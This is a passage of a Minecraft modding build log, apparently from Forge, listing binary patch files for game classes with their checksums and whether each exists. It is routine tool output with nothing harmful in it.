net.minecraft.world.entity.monster.Slime$SlimeFloatGoal.binpatch Checksum: 36b62212 Exists: true Reading patch net.minecraft.world.entity.monster.Slime$SlimeKeepOnJumpingGoal.binpatch Checksum: a2da765d Exists: true Reading patch net.minecraft.world.entity.monster.Slime$SlimeMoveControl.binpatch Checksum: c2fb2d0b Exists: true Reading patch net.minecraft.world.entity.monster.Slime$SlimeRandomDirectionGoal.binpatch Checksum: 8d044168 Exists: true Reading patch net.minecraft.world.entity.monster.Slime.binpatch Checksum: 1bcf687e Exists: true Reading patch net.minecraft.world.entity.monster.Spider$SpiderAttackGoal.binpatch Checksum: 6fa6a46b Exists: true Reading patch net.minecraft.world.entity.monster.Spider$SpiderEffectsGroupData.binpatch Checksum: 36530e4d Exists: true Reading patch net.minecraft.world.entity.monster.Spider$SpiderTargetGoal.binpatch Checksum: d67db61d Exists: true Reading patch net.minecraft.world.entity.monster.Spider.binpatch Checksum: 32726598 Exists: true Reading patch net.minecraft.world.entity.monster.Zombie$ZombieAttackTurtleEggGoal.binpatch Checksum: 8c75dd37 Exists: true Reading patch net.minecraft.world.entity.monster.Zombie$ZombieGroupData.binpatch Checksum: b7929e1d Exists: true Reading patch net.minecraft.world.entity.monster.Zombie.binpatch Checksum: 58ddced4 Exists: true Reading patch net.minecraft.world.entity.monster.ZombieVillager.binpatch Checksum: 94d6722b Exists: true Reading patch net.minecraft.world.entity.monster.hoglin.Hoglin.binpatch Checksum: c30d1b86 Exists: true Reading patch net.minecraft.world.entity.monster.piglin.AbstractPiglin.binpatch Checksum: 6faf0a90 Exists: true Reading patch net.minecraft.world.entity.monster.piglin.Piglin.binpatch Checksum: c982e0e6 Exists: true Reading patch net.minecraft.world.entity.monster.piglin.PiglinAi.binpatch Checksum: 5f5393dd Exists: true Reading patch net.minecraft.world.entity.monster.piglin.StopHoldingItemIfNoLongerAdmiring.binpatch Checksum: 14648b4 Exists: true Reading patch net.minecraft.world.entity.npc.AbstractVillager.binpatch Checksum: 7b4932d5 Exists: true Reading patch net.minecraft.world.entity.npc.CatSpawner.binpatch Checksum: 2bc8904e Exists: true Reading patch net.minecraft.world.entity.npc.Villager.binpatch Checksum: 9f9694f2 Exists: true Reading patch net.minecraft.world.entity.npc.VillagerProfession.binpatch Checksum: 3a1c797 Exists: true Reading patch net.minecraft.world.entity.player.Inventory.binpatch Checksum: f51381c2 Exists: true Reading patch net.minecraft.world.entity.player.Player$1.binpatch Checksum: d2dac1f0 Exists: true Reading patch net.minecraft.world.entity.player.Player$BedSleepingProblem.binpatch Checksum: c89a9f37 Exists: true Reading patch net.minecraft.world.entity.player.Player.binpatch Checksum: 3c518457 Exists: true Reading patch net.minecraft.world.entity.projectile.AbstractArrow$1.binpatch Checksum: c610da04 Exists: true Reading patch net.minecraft.world.entity.projectile.AbstractArrow$Pickup.binpatch Checksum: 74bfacae Exists: true Reading patch net.minecraft.world.entity.projectile.AbstractArrow.binpatch Checksum: ab4cec8a Exists: true Reading patch net.minecraft.world.entity.projectile.AbstractHurtingProjectile.binpatch Checksum: 9ee06a55 Exists: true Reading patch net.minecraft.world.entity.projectile.FireworkRocketEntity.binpatch Checksum: b01d2c4a Exists: true Reading patch net.minecraft.world.entity.projectile.FishingHook$1.binpatch Checksum: 782deb37 Exists: true Reading patch net.minecraft.world.entity.projectile.FishingHook$FishHookState.binpatch Checksum: a5c785a6 Exists: true Reading patch net.minecraft.world.entity.projectile.FishingHook$OpenWaterType.binpatch Checksum: 57db8935 Exists: true Reading patch net.minecraft.world.entity.projectile.FishingHook.binpatch Checksum: 60abfc17 Exists: true Reading patch net.minecraft.world.entity.projectile.LargeFireball.binpatch Checksum: ef90279d Exists: true Reading patch net.minecraft.world.entity.projectile.LlamaSpit.binpatch Checksum: c9598bf3 Exists: true Reading patch net.minecraft.world.entity.projectile.Projectile.binpatch Checksum: 38e73b58 Exists: true Reading patch net.minecraft.world.entity.projectile.ProjectileUtil.binpatch Checksum: e4838543 Exists: true Reading patch net.minecraft.world.entity.projectile.ShulkerBullet.binpatch Checksum: 83f46ef1 Exists: true Reading patch net.minecraft.world.entity.projectile.SmallFireball.binpatch Checksum: dc97de90 Exists: true Reading patch net.minecraft.world.entity.projectile.ThrowableProjectile.binpatch Checksum: 3e820622 Exists: true Reading patch net.minecraft.world.entity.projectile.ThrownEnderpearl.binpatch Checksum: 199cda68 Exists: true Reading patch net.minecraft.world.entity.projectile.WitherSkull.binpatch Checksum: 27a9daf Exists: true Reading patch net.minecraft.world.entity.raid.Raid$1.binpatch Checksum: 87302b3b Exists: true Reading patch net.minecraft.world.entity.raid.Raid$RaidStatus.binpatch Checksum: 1205e217 Exists: true Reading patch net.minecraft.world.entity.raid.Raid$RaiderType.binpatch Checksum: 794787b0 Exists: true Reading patch net.minecraft.world.entity.raid.Raid.binpatch Checksum: ec7a4e8a Exists: true Reading patch net.minecraft.world.entity.schedule.Activity.binpatch Checksum: bdd9730d Exists: true Reading patch net.minecraft.world.entity.schedule.Schedule.binpatch Checksum: bdd4a7c6 Exists: true Reading patch net.minecraft.world.entity.vehicle.AbstractMinecart$1.binpatch Checksum: 5f4b85d8 Exists: true Reading patch net.minecraft.world.entity.vehicle.AbstractMinecart$Type.binpatch Checksum: 5beca85d Exists: true Reading patch net.minecraft.world.entity.vehicle.AbstractMinecart.binpatch Checksum: 7e005200 Exists: true Reading patch net.minecraft.world.entity.vehicle.AbstractMinecartContainer$1.binpatch Checksum: ad6a65e1 Exists: true Reading patch net.minecraft.world.entity.vehicle.AbstractMinecartContainer.binpatch Checksum: 5cb194b4 Exists: true Reading patch net.minecraft.world.entity.vehicle.Boat$1.binpatch Checksum: 4fab7600 Exists: true Reading patch net.minecraft.world.entity.vehicle.Boat$Status.binpatch Checksum: 542279ad Exists: true Reading patch net.minecraft.world.entity.vehicle.Boat$Type.binpatch Checksum: 16e100bc Exists: true Reading patch net.minecraft.world.entity.vehicle.Boat.binpatch Checksum: 2c9956bb Exists: true Reading patch net.minecraft.world.entity.vehicle.Minecart.binpatch Checksum: 47bb0504 Exists: true Reading patch net.minecraft.world.entity.vehicle.MinecartCommandBlock$MinecartCommandBase.binpatch Checksum: 13742063 Exists: true Reading patch net.minecraft.world.entity.vehicle.MinecartCommandBlock.binpatch Checksum: 9f241cd9 Exists: true Reading patch net.minecraft.world.entity.vehicle.MinecartFurnace.binpatch Checksum: 9e8a9805 Exists: true Reading patch net.minecraft.world.entity.vehicle.MinecartSpawner$1.binpatch Checksum: b9523ff Exists: true Reading patch net.minecraft.world.entity.vehicle.MinecartSpawner.binpatch Checksum: c65494c3 Exists: true Reading patch net.minecraft.world.food.FoodProperties$Builder.binpatch Checksum: a7c52b8b Exists: true Reading patch net.minecraft.world.food.FoodProperties.binpatch Checksum: aeffc4df Exists: true Reading patch net.minecraft.world.inventory.AbstractContainerMenu$1.binpatch Checksum: ebcc340e Exists: true Reading patch net.minecraft.world.inventory.AbstractContainerMenu.binpatch Checksum: 40be69e3 Exists: true Reading patch net.minecraft.world.inventory.AbstractFurnaceMenu.binpatch Checksum: 2c645a40 Exists: true Reading patch net.minecraft.world.inventory.AnvilMenu$1.binpatch Checksum: 296cf41d Exists: true Reading patch net.minecraft.world.inventory.AnvilMenu.binpatch Checksum: f60774a0 Exists: true Reading patch net.minecraft.world.inventory.BeaconMenu$1.binpatch Checksum: c0b635e1 Exists: true Reading patch net.minecraft.world.inventory.BeaconMenu$PaymentSlot.binpatch Checksum: f6146f2d Exists: true Reading patch net.minecraft.world.inventory.BeaconMenu.binpatch Checksum: c0f220f8 Exists: true Reading patch net.minecraft.world.inventory.BrewingStandMenu$FuelSlot.binpatch Checksum: 815d2a61 Exists: true Reading patch net.minecraft.world.inventory.BrewingStandMenu$IngredientsSlot.binpatch Checksum: 14a1fc32 Exists: true Reading patch net.minecraft.world.inventory.BrewingStandMenu$PotionSlot.binpatch Checksum: fcf87cba Exists: true Reading patch net.minecraft.world.inventory.BrewingStandMenu.binpatch Checksum: 5044aed9 Exists: true Reading patch net.minecraft.world.inventory.EnchantmentMenu$1.binpatch Checksum: fe81d0ad Exists: true Reading patch net.minecraft.world.inventory.EnchantmentMenu$2.binpatch Checksum: 3d6c41fa Exists: true Reading patch net.minecraft.world.inventory.EnchantmentMenu$3.binpatch Checksum: 3d228351 Exists: true Reading patch net.minecraft.world.inventory.EnchantmentMenu.binpatch Checksum: 60afb5d5 Exists: true Reading patch net.minecraft.world.inventory.FurnaceResultSlot.binpatch Checksum: ea5a7ea5 Exists: true Reading patch net.minecraft.world.inventory.GrindstoneMenu$1.binpatch Checksum: b1cbcf2b Exists: true Reading patch net.minecraft.world.inventory.GrindstoneMenu$2.binpatch Checksum: 9da798dc Exists: true Reading patch net.minecraft.world.inventory.GrindstoneMenu$3.binpatch Checksum: 961398e3 Exists: true Reading patch net.minecraft.world.inventory.GrindstoneMenu$4.binpatch Checksum: 10061844 Exists: true Reading patch net.minecraft.world.inventory.GrindstoneMenu.binpatch Checksum: da47fd3b Exists: true Reading patch net.minecraft.world.inventory.InventoryMenu$1.binpatch Checksum: 30f21d9e Exists: true Reading patch net.minecraft.world.inventory.InventoryMenu$2.binpatch Checksum: aa92aafd Exists: true Reading patch net.minecraft.world.inventory.InventoryMenu.binpatch Checksum: 5ff5bf0c Exists: true Reading patch net.minecraft.world.inventory.MenuType$MenuSupplier.binpatch Checksum: 9b60b38d Exists: true Reading patch net.minecraft.world.inventory.MenuType.binpatch Checksum: bdcd69df Exists: true Reading patch net.minecraft.world.inventory.RecipeBookMenu.binpatch Checksum: 50e05c1e Exists: true Reading patch net.minecraft.world.inventory.ResultSlot.binpatch Checksum: 1fd9fa0e Exists: true Reading patch net.minecraft.world.inventory.Slot.binpatch Checksum: 23ce6cb6 Exists: true Reading patch net.minecraft.world.item.ArmorItem$1.binpatch Checksum: c5c8086d Exists: true Reading patch net.minecraft.world.item.ArmorItem.binpatch Checksum: e27abb6b Exists: true Reading patch net.minecraft.world.item.ArrowItem.binpatch Checksum: 195078d1 Exists: true Reading patch net.minecraft.world.item.AxeItem.binpatch Checksum: 5171c0b3 Exists: true Reading patch net.minecraft.world.item.BlockItem.binpatch Checksum: cc52907c Exists: true Reading patch net.minecraft.world.item.BoneMealItem.binpatch Checksum: 1e35fc7e Exists: true Reading patch net.minecraft.world.item.BowItem.binpatch Checksum: 80b0bf9a Exists: true Reading patch net.minecraft.world.item.BucketItem.binpatch Checksum: e7fe49af Exists: true Reading patch net.minecraft.world.item.ChorusFruitItem.binpatch Checksum: 4965e93 Exists: true Reading patch net.minecraft.world.item.CreativeModeTab$1.binpatch Checksum: 63cd7e1 Exists: true Reading patch net.minecraft.world.item.CreativeModeTab$10.binpatch Checksum: ca8046ec Exists: true Reading patch net.minecraft.world.item.CreativeModeTab$11.binpatch Checksum: 953d722a Exists: true Reading patch net.minecraft.world.item.CreativeModeTab$12.binpatch Checksum: 88fd8e4 Exists: true Reading patch net.minecraft.world.item.CreativeModeTab$2.binpatch Checksum: 8909d815 Exists: true Reading patch net.minecraft.world.item.CreativeModeTab$3.binpatch Checksum: 2b54d1fa Exists: true Reading patch net.minecraft.world.item.CreativeModeTab$4.binpatch Checksum: 3a0dd807 Exists: true Reading patch net.minecraft.world.item.CreativeModeTab$5.binpatch Checksum: 1a6bd20c Exists: true Reading patch net.minecraft.world.item.CreativeModeTab$6.binpatch Checksum: 74f3d235 Exists: true Reading patch net.minecraft.world.item.CreativeModeTab$7.binpatch Checksum: 6dcfd279 Exists: true Reading patch net.minecraft.world.item.CreativeModeTab$8.binpatch Checksum: 5a50d287 Exists: true Reading patch net.minecraft.world.item.CreativeModeTab$9.binpatch Checksum: 457cd284 Exists: true Reading patch net.minecraft.world.item.CreativeModeTab.binpatch Checksum: 9ca635f0 Exists: true Reading patch net.minecraft.world.item.DiggerItem.binpatch Checksum: ce32a44c Exists: true Reading patch net.minecraft.world.item.DyeColor.binpatch Checksum: ff3109ce Exists: true Reading patch net.minecraft.world.item.DyeableHorseArmorItem.binpatch Checksum: b391d938 Exists: true Reading patch net.minecraft.world.item.ElytraItem.binpatch Checksum: 8a4f0449 Exists: true Reading patch net.minecraft.world.item.HoeItem.binpatch Checksum: 6173b0b0 Exists: true Reading patch net.minecraft.world.item.HorseArmorItem.binpatch Checksum: 5f31b7fc Exists: true Reading patch net.minecraft.world.item.Item$1.binpatch Checksum: 6edeb246 Exists: true Reading patch net.minecraft.world.item.Item$Properties.binpatch Checksum: c4b31b3b Exists: true Reading patch net.minecraft.world.item.Item.binpatch Checksum: 265a028 Exists: true Reading patch net.minecraft.world.item.ItemStack$TooltipPart.binpatch Checksum: e374ada9 Exists: true Reading patch net.minecraft.world.item.ItemStack.binpatch Checksum: 6c191e6e Exists: true Reading patch net.minecraft.world.item.Items.binpatch Checksum: e947ccf Exists: true Reading patch net.minecraft.world.item.MapItem.binpatch Checksum: fb4ba5f9 Exists: true Reading patch net.minecraft.world.item.MilkBucketItem.binpatch Checksum: a27c6808 Exists: true Reading patch net.minecraft.world.item.MinecartItem$1.binpatch Checksum: 74dab3bf Exists: true Reading patch net.minecraft.world.item.MinecartItem.binpatch Checksum: a69ed89d Exists: true Reading patch net.minecraft.world.item.MobBucketItem.binpatch Checksum: adbcd0a2 Exists: true Reading patch net.minecraft.world.item.PickaxeItem.binpatch Checksum: 136b306c Exists: true Reading patch net.minecraft.world.item.Rarity.binpatch Checksum: b9a58839 Exists: true Reading patch net.minecraft.world.item.RecordItem.binpatch Checksum: 46d486be Exists: true Reading patch net.minecraft.world.item.ShearsItem.binpatch Checksum: 54f79a61 Exists: true Reading patch net.minecraft.world.item.ShieldItem.binpatch Checksum: dc3251cd Exists: true Reading patch net.minecraft.world.item.ShovelItem.binpatch Checksum: 288ffc Exists: true Reading patch net.minecraft.world.item.StandingAndWallBlockItem.binpatch Checksum: 8a6e4138 Exists: true Reading patch net.minecraft.world.item.SwordItem.binpatch Checksum: 54fbbc63 Exists: true Reading patch net.minecraft.world.item.Tier.binpatch Checksum: f1213f49 Exists: true Reading patch net.minecraft.world.item.Tiers.binpatch Checksum: efb7f560 Exists: true Reading patch net.minecraft.world.item.alchemy.Potion.binpatch Checksum: 326ae518 Exists: true Reading patch net.minecraft.world.item.alchemy.PotionBrewing$Mix.binpatch Checksum: 1b3b27ab Exists: true Reading patch net.minecraft.world.item.alchemy.PotionBrewing.binpatch Checksum: 74a4cf1 Exists: true Reading patch net.minecraft.world.item.crafting.AbstractCookingRecipe.binpatch Checksum: 4693ffd9 Exists: true Reading patch net.minecraft.world.item.crafting.ArmorDyeRecipe.binpatch Checksum: 12bccf7e Exists: true Reading patch net.minecraft.world.item.crafting.BannerDuplicateRecipe.binpatch Checksum: 3a90fd88 Exists: true Reading patch net.minecraft.world.item.crafting.BlastingRecipe.binpatch Checksum: 95144992 Exists: true Reading patch net.minecraft.world.item.crafting.BookCloningRecipe.binpatch Checksum: 59c5e43 Exists: true Reading patch net.minecraft.world.item.crafting.CampfireCookingRecipe.binpatch Checksum: 62834f06 Exists: true Reading patch net.minecraft.world.item.crafting.FireworkRocketRecipe.binpatch Checksum: 5c5a3f2 Exists: true Reading patch net.minecraft.world.item.crafting.FireworkStarFadeRecipe.binpatch Checksum: 7158944f Exists: true Reading patch net.minecraft.world.item.crafting.FireworkStarRecipe.binpatch Checksum: 406b7b4e Exists: true Reading patch net.minecraft.world.item.crafting.Ingredient$ItemValue.binpatch Checksum: 3420ea2a Exists: true Reading patch net.minecraft.world.item.crafting.Ingredient$TagValue.binpatch Checksum: bae3ffb6 Exists: true Reading patch net.minecraft.world.item.crafting.Ingredient$Value.binpatch Checksum: 53357f83 Exists: true Reading patch net.minecraft.world.item.crafting.Ingredient.binpatch Checksum: c8f09700 Exists: true Reading patch net.minecraft.world.item.crafting.MapCloningRecipe.binpatch Checksum: 243dfccc Exists: true Reading patch net.minecraft.world.item.crafting.Recipe.binpatch Checksum: 347d2f97 Exists: true Reading patch net.minecraft.world.item.crafting.RecipeManager.binpatch Checksum: a9bb03c9 Exists: true Reading patch net.minecraft.world.item.crafting.RecipeSerializer.binpatch Checksum: cc01e5aa Exists: true Reading patch net.minecraft.world.item.crafting.RepairItemRecipe.binpatch Checksum: ad2de59d Exists: true Reading patch net.minecraft.world.item.crafting.ShapedRecipe$Serializer.binpatch Checksum: f1f19ad3 Exists: true Reading patch net.minecraft.world.item.crafting.ShapedRecipe.binpatch Checksum: 9e95dc76 Exists: true Reading patch net.minecraft.world.item.crafting.ShapelessRecipe$Serializer.binpatch Checksum: 23474954 Exists: true Reading patch net.minecraft.world.item.crafting.ShapelessRecipe.binpatch Checksum: 648588d4 Exists: true Reading patch net.minecraft.world.item.crafting.ShieldDecorationRecipe.binpatch Checksum: 645efb1f Exists: true Reading patch net.minecraft.world.item.crafting.ShulkerBoxColoring.binpatch Checksum: 68dad77d Exists: true Reading patch net.minecraft.world.item.crafting.SimpleCookingSerializer$CookieBaker.binpatch Checksum: d13a22f4 Exists: true Reading patch net.minecraft.world.item.crafting.SimpleCookingSerializer.binpatch Checksum: 76d45bf4 Exists: true Reading patch net.minecraft.world.item.crafting.SimpleRecipeSerializer.binpatch Checksum: 28aed715 Exists: true Reading patch net.minecraft.world.item.crafting.SingleItemRecipe$Serializer$SingleItemMaker.binpatch Checksum: 94463d1e Exists: true Reading patch net.minecraft.world.item.crafting.SingleItemRecipe$Serializer.binpatch Checksum: b56b7301 Exists: true Reading patch net.minecraft.world.item.crafting.SingleItemRecipe.binpatch Checksum: 69e9395b Exists: true Reading patch net.minecraft.world.item.crafting.SmeltingRecipe.binpatch Checksum: 41c4970 Exists: true Reading patch net.minecraft.world.item.crafting.SmokingRecipe.binpatch Checksum: 773848b1 Exists: true Reading patch net.minecraft.world.item.crafting.StonecutterRecipe.binpatch Checksum: 4869b7d3 Exists: true Reading patch net.minecraft.world.item.crafting.SuspiciousStewRecipe.binpatch Checksum: 6f15988b Exists: true Reading patch net.minecraft.world.item.crafting.TippedArrowRecipe.binpatch Checksum: 6922b4e4 Exists: true Reading patch net.minecraft.world.item.crafting.UpgradeRecipe$Serializer.binpatch Checksum: 7f667055 Exists: true Reading patch net.minecraft.world.item.crafting.UpgradeRecipe.binpatch Checksum: c3cc4e70 Exists: true Reading patch net.minecraft.world.item.enchantment.DiggingEnchantment.binpatch Checksum: e0f8f334 Exists: true Reading patch net.minecraft.world.item.enchantment.Enchantment$Rarity.binpatch Checksum: 5ad498dd Exists: true Reading patch net.minecraft.world.item.enchantment.Enchantment.binpatch Checksum: aa1b3fc4 Exists: true Reading patch net.minecraft.world.item.enchantment.EnchantmentCategory$1.binpatch Checksum: 8b92b541 Exists: true Reading patch net.minecraft.world.item.enchantment.EnchantmentCategory$10.binpatch Checksum: 2ec4b8c6 Exists: true Reading patch net.minecraft.world.item.enchantment.EnchantmentCategory$11.binpatch Checksum: 573bb55c Exists: true Reading patch net.minecraft.world.item.enchantment.EnchantmentCategory$12.binpatch Checksum: b3ff351 Exists: true Reading patch net.minecraft.world.item.enchantment.EnchantmentCategory$13.binpatch Checksum: 7475b79b Exists: true Reading patch net.minecraft.world.item.enchantment.EnchantmentCategory$14.binpatch Checksum: 159915f0 Exists: true Reading patch net.minecraft.world.item.enchantment.EnchantmentCategory$2.binpatch Checksum: a5bb0012 Exists: true Reading patch net.minecraft.world.item.enchantment.EnchantmentCategory$3.binpatch Checksum: bff60026 Exists: true Reading patch net.minecraft.world.item.enchantment.EnchantmentCategory$4.binpatch Checksum: d510089 Exists: true Reading patch net.minecraft.world.item.enchantment.EnchantmentCategory$5.binpatch Checksum: 20e40087 Exists: true Reading patch net.minecraft.world.item.enchantment.EnchantmentCategory$6.binpatch Checksum: 125db609 Exists: true Reading patch net.minecraft.world.item.enchantment.EnchantmentCategory$7.binpatch Checksum: db4eb652 Exists: true Reading patch net.minecraft.world.item.enchantment.EnchantmentCategory$8.binpatch Checksum: e10fb7f8 Exists: true Reading patch net.minecraft.world.item.enchantment.EnchantmentCategory$9.binpatch Checksum: 137bb6fa Exists: true Reading patch net.minecraft.world.item.enchantment.EnchantmentCategory.binpatch Checksum: 25a8d99e Exists: true Reading patch net.minecraft.world.item.enchantment.EnchantmentHelper$EnchantmentVisitor.binpatch Checksum: 8b25867b Exists: true Reading patch net.minecraft.world.item.enchantment.EnchantmentHelper.binpatch Checksum: cf96b88d Exists: true Reading patch net.minecraft.world.item.enchantment.Enchantments.binpatch Checksum: 43a2ca0 Exists: true Reading patch net.minecraft.world.item.enchantment.FrostWalkerEnchantment.binpatch Checksum: 81c78f39 Exists: true Reading patch net.minecraft.world.item.trading.MerchantOffer.binpatch Checksum: 728b622b Exists: true Reading patch net.minecraft.world.level.BaseSpawner.binpatch Checksum: a151d88a Exists: true Reading patch net.minecraft.world.level.BlockGetter.binpatch Checksum: d5cdc779 Exists: true Reading patch net.minecraft.world.level.ClipContext$Block.binpatch Checksum: ea29f797 Exists: true Reading patch net.minecraft.world.level.ClipContext$Fluid.binpatch Checksum: 9bb5204a Exists: true Reading patch net.minecraft.world.level.ClipContext$ShapeGetter.binpatch Checksum: 2fac9ec4 Exists: true Reading patch net.minecraft.world.level.ClipContext.binpatch Checksum: 59f6e010 Exists: true Reading patch net.minecraft.world.level.DataPackConfig.binpatch Checksum: f1717896 Exists: true Reading patch net.minecraft.world.level.Explosion$BlockInteraction.binpatch Checksum: cd87651e Exists: true Reading patch net.minecraft.world.level.Explosion.binpatch Checksum: 5a720ff7 Exists: true Reading patch net.minecraft.world.level.ExplosionDamageCalculator.binpatch Checksum: 49e2a8c0 Exists: true Reading patch net.minecraft.world.level.ForcedChunksSavedData.binpatch Checksum: c3a76757 Exists: true Reading patch net.minecraft.world.level.Level$1.binpatch Checksum: 49834c82 Exists: true Reading patch net.minecraft.world.level.Level.binpatch Checksum: 379f3719 Exists: true Reading patch net.minecraft.world.level.LevelReader.binpatch Checksum: 597bb06f Exists: true Reading patch net.minecraft.world.level.LevelSettings.binpatch Checksum: ba12e5f3 Exists: true Reading patch net.minecraft.world.level.NaturalSpawner$1.binpatch Checksum: d770e009 Exists: true Reading patch net.minecraft.world.level.NaturalSpawner$AfterSpawnCallback.binpatch Checksum: 596c84bb Exists: true Reading patch net.minecraft.world.level.NaturalSpawner$ChunkGetter.binpatch Checksum: 95359a1d Exists: true Reading patch net.minecraft.world.level.NaturalSpawner$SpawnPredicate.binpatch Checksum: 2cc1c8c2 Exists: true Reading patch net.minecraft.world.level.NaturalSpawner$SpawnState.binpatch Checksum: 71c057ea Exists: true Reading patch net.minecraft.world.level.NaturalSpawner.binpatch Checksum: 8a535745 Exists: true Reading patch net.minecraft.world.level.biome.Biome$1.binpatch Checksum: 3bd66317 Exists: true Reading patch net.minecraft.world.level.biome.Biome$BiomeBuilder.binpatch Checksum: d746a5b0 Exists: true Reading patch net.minecraft.world.level.biome.Biome$BiomeCategory.binpatch Checksum: 498a3ae7 Exists: true Reading patch net.minecraft.world.level.biome.Biome$ClimateParameters.binpatch Checksum: 461c553c Exists: true Reading patch net.minecraft.world.level.biome.Biome$ClimateSettings.binpatch Checksum: 3c1c102d Exists: true Reading patch net.minecraft.world.level.biome.Biome$Precipitation.binpatch Checksum: 8f2762dc Exists: true Reading patch net.minecraft.world.level.biome.Biome$TemperatureModifier$1.binpatch Checksum: be38d294 Exists: true Reading patch net.minecraft.world.level.biome.Biome$TemperatureModifier$2.binpatch Checksum: 32177182 Exists: true Reading patch net.minecraft.world.level.biome.Biome$TemperatureModifier.binpatch Checksum: 6bf9bcf9 Exists: true Reading patch net.minecraft.world.level.biome.Biome.binpatch Checksum: 3fcd411 Exists: true Reading patch net.minecraft.world.level.biome.BiomeGenerationSettings$Builder.binpatch Checksum: e2b00f39 Exists: true Reading patch net.minecraft.world.level.biome.BiomeGenerationSettings.binpatch Checksum: e1fd9bdd Exists: true Reading patch net.minecraft.world.level.biome.BiomeSpecialEffects$Builder.binpatch Checksum: ba1fdbd3 Exists: true Reading patch net.minecraft.world.level.biome.BiomeSpecialEffects$GrassColorModifier$1.binpatch Checksum: f8f4d075 Exists: true Reading patch net.minecraft.world.level.biome.BiomeSpecialEffects$GrassColorModifier$2.binpatch Checksum: b0c8d60a Exists: true Reading patch net.minecraft.world.level.biome.BiomeSpecialEffects$GrassColorModifier$3.binpatch Checksum: c7b73a22 Exists: true Reading patch net.minecraft.world.level.biome.BiomeSpecialEffects$GrassColorModifier$ColorModifier.binpatch Checksum: 0 Exists: false Reading patch net.minecraft.world.level.biome.BiomeSpecialEffects$GrassColorModifier.binpatch Checksum: 74a439f6 Exists: true Reading patch net.minecraft.world.level.biome.BiomeSpecialEffects.binpatch Checksum: 96ed5ea3 Exists: true Reading patch net.minecraft.world.level.biome.MobSpawnSettings$Builder.binpatch Checksum: ab1142df Exists: true Reading patch net.minecraft.world.level.biome.MobSpawnSettings$MobSpawnCost.binpatch Checksum: 84d50264 Exists: true Reading patch net.minecraft.world.level.biome.MobSpawnSettings$SpawnerData.binpatch Checksum: 572a96f3 Exists: true Reading patch net.minecraft.world.level.biome.MobSpawnSettings.binpatch Checksum: aca881f8 Exists: true Reading patch net.minecraft.world.level.biome.OverworldBiomeSource.binpatch Checksum: 8c30c41 Exists: true Reading patch net.minecraft.world.level.block.AbstractBannerBlock.binpatch Checksum: 832be048 Exists: true Reading patch net.minecraft.world.level.block.AttachedStemBlock.binpatch Checksum: 828655ed Exists: true Reading patch net.minecraft.world.level.block.BambooBlock.binpatch Checksum: 7548f990 Exists: true Reading patch net.minecraft.world.level.block.BambooSaplingBlock.binpatch Checksum: f696e90b Exists: true Reading patch net.minecraft.world.level.block.BannerBlock.binpatch Checksum: eaf10d35 Exists: true Reading patch net.minecraft.world.level.block.BaseFireBlock.binpatch Checksum: 6dcda937 Exists: true Reading patch net.minecraft.world.level.block.BaseRailBlock$1.binpatch Checksum: 17fee9ca Exists: true Reading patch net.minecraft.world.level.block.BaseRailBlock.binpatch Checksum: db6f4d03 Exists: true Reading patch net.minecraft.world.level.block.BeehiveBlock.binpatch Checksum: ce26d4e5 Exists: true Reading patch net.minecraft.world.level.block.BeetrootBlock.binpatch Checksum: dcfc34c7 Exists: true Reading patch net.minecraft.world.level.block.BigDripleafStemBlock$1.binpatch Checksum: 23b1bf03 Exists: true Reading patch net.minecraft.world.level.block.BigDripleafStemBlock.binpatch Checksum: 8b2843d1 Exists: true Reading patch net.minecraft.world.level.block.Block$1.binpatch Checksum: b28ece4d Exists: true Reading patch net.minecraft.world.level.block.Block$2.binpatch Checksum: cc61f74a Exists: true Reading patch net.minecraft.world.level.block.Block$BlockStatePairKey.binpatch Checksum: 50ee431c Exists: true Reading patch net.minecraft.world.level.block.Block.binpatch Checksum: b7a68e45 Exists: true Reading patch net.minecraft.world.level.block.Blocks.binpatch Checksum: 48144948 Exists: true Reading patch net.minecraft.world.level.block.BushBlock.binpatch Checksum: 6027a89b Exists: true Reading patch net.minecraft.world.level.block.CactusBlock.binpatch Checksum: 1f3b89cc Exists: true Reading patch net.minecraft.world.level.block.CampfireBlock.binpatch Checksum: f02c0b8f Exists: true Reading patch net.minecraft.world.level.block.CandleCakeBlock.binpatch Checksum: 64238534 Exists: true Reading patch net.minecraft.world.level.block.CarrotBlock.binpatch Checksum: c8d2b5f1 Exists: true Reading patch net.minecraft.world.level.block.CaveVinesBlock.binpatch Checksum: 6c58f045 Exists: true Reading patch net.minecraft.world.level.block.CaveVinesPlantBlock.binpatch Checksum: f337117e Exists: true Reading patch net.minecraft.world.level.block.ChestBlock$1.binpatch Checksum: 3435f435 Exists: true Reading patch net.minecraft.world.level.block.ChestBlock$2$1.binpatch Checksum: 456135a5 Exists: true Reading patch net.minecraft.world.level.block.ChestBlock$2.binpatch Checksum: ea7055 Exists: true Reading patch net.minecraft.world.level.block.ChestBlock$3.binpatch Checksum: 70ce0f51 Exists: true Reading patch net.minecraft.world.level.block.ChestBlock$4.binpatch Checksum: 8eaab725 Exists: true Reading patch net.minecraft.world.level.block.ChestBlock.binpatch Checksum: b08796cc Exists: true Reading patch net.minecraft.world.level.block.ChorusFlowerBlock.binpatch Checksum: 21a4ab3d Exists: true Reading patch net.minecraft.world.level.block.CocoaBlock$1.binpatch Checksum: 509db6e9 Exists: true Reading patch net.minecraft.world.level.block.CocoaBlock.binpatch Checksum: 81eedcda Exists: true Reading patch net.minecraft.world.level.block.ComparatorBlock.binpatch Checksum: fd0ec72a Exists: true Reading patch net.minecraft.world.level.block.CropBlock.binpatch Checksum: eba17079 Exists: true Reading patch net.minecraft.world.level.block.DeadBushBlock.binpatch Checksum: 79d9c647 Exists: true Reading patch net.minecraft.world.level.block.DetectorRailBlock$1.binpatch Checksum: 1e681a34 Exists: true Reading patch net.minecraft.world.level.block.DetectorRailBlock.binpatch Checksum: cebebf5a Exists: true Reading patch net.minecraft.world.level.block.DiodeBlock.binpatch Checksum: 62bc7912 Exists: true Reading patch net.minecraft.world.level.block.DoublePlantBlock.binpatch Checksum: add0f7b4 Exists: true Reading patch net.minecraft.world.level.block.DropperBlock.binpatch Checksum: 7dcc9669 Exists: true Reading patch net.minecraft.world.level.block.EnchantmentTableBlock.binpatch Checksum: 582e7cca Exists: true Reading patch net.minecraft.world.level.block.EndGatewayBlock.binpatch Checksum: 24976b54 Exists: true Reading patch net.minecraft.world.level.block.EndPortalBlock.binpatch Checksum: e7f82668 Exists: true Reading patch net.minecraft.world.level.block.FallingBlock.binpatch Checksum: 57e0a18a Exists: true Reading patch net.minecraft.world.level.block.FarmBlock.binpatch Checksum: b6c7526b Exists: true Reading patch net.minecraft.world.level.block.FireBlock.binpatch Checksum: 94f4000a Exists: true Reading patch net.minecraft.world.level.block.FlowerPotBlock.binpatch Checksum: abb92930 Exists: true 